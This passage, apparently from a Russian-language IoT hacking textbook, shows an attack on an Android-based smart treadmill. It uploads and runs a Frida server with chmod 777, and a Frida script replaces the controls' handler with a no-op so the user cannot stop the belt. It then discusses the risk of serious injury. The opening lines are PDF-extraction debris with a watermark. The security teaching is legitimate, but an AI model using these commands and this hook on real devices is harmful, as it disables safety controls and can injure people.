|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Команда загрузки получает в качестве первого аргумента рас- |
|
|
|
|
|
m |
|||||
|
w Click |
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
положение двоичного файла, который мы хотим загрузить на нашеdf-x chan |
.c |
|
|||||||||
|
|
. |
|
|
|
|
|
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
устройство, и в качестве второго аргумента – путь к каталогу, в ко- |
|
|
|
|
|
|
|||||
торый этот двоичный файл следует поместить в целевом устройстве. |
|
|
|
|
|
|
|||||
Используем доступ к оболочке, чтобы пометить двоичный файл как |
|
|
|
|
|
|
|||||
исполняемый с помощью |
утилиты chmod и запустить сервер: |
|
|
|
|
|
|
|
|
|
|
$ chmod 777 /data/data/org.pupy.pupy/files/frida_arm $ /data/data/org.pupy.pupy/files/frida_arm &
Затем мы используем следующий скрипт Frida, который заменяет функциональность кнопки инструкциями, не выполняющими ника- ких действий:
var PhysicalKeyboard = Java.use("com.vendorname.android.repositoryapk.cp.PhysicalKeyboardCP"); PhysicalKeyboard.update.implementation = function(a, b, c, d){
return;
}
Как упоминалось ранее, Repository APK обрабатывает активности кнопок.Чтобы найти точную функцию,которую вам нужно заменить , вам придется декомпилировать приложение, используя методы, представленные в разделе «Анализ приложений Android».
Наконец, мы устанавливаем фреймворк Frida в нашу систему с по мощьюдиспетчера пакетов pip для Python и выполняем предыдущий скрипт Frida:
$ pip install frida-tools
$ frida -H 127.0.0.1:27042 –f com.vendorname.android.repositoryapk -l script.js
Параметр -H используется для указания хоста и порта сервера Fri- da, параметр –f – для указания полного имени целевого приложения и параметр -l – для выбора сценария. Мы должны указать в команде полное имя приложения, которое вы опять же можете найти, деком- пилировав приложение.
Теперь, даже если жертва пытается выбрать одну из программных кнопок Dashboard APK или нажать кнопки, которые управляют ско- ростью и наклоном, остановить устройство не удастся. Можно только нажать кнопку аварийной остановки в нижней части корпуса устрой- ства или найти другой способ выключить питание.
Можетли эта уязвимостьпривести к несчастномуслучаю со смертельным исходом?
Вероятность того, что пользователь получит серьезную травму в ре- зультате описанной атаки, немалая. Устройство достигло скорости 27 км/ч. Большинство коммерческих беговых дорожек может разви-
Взлом умного дома 459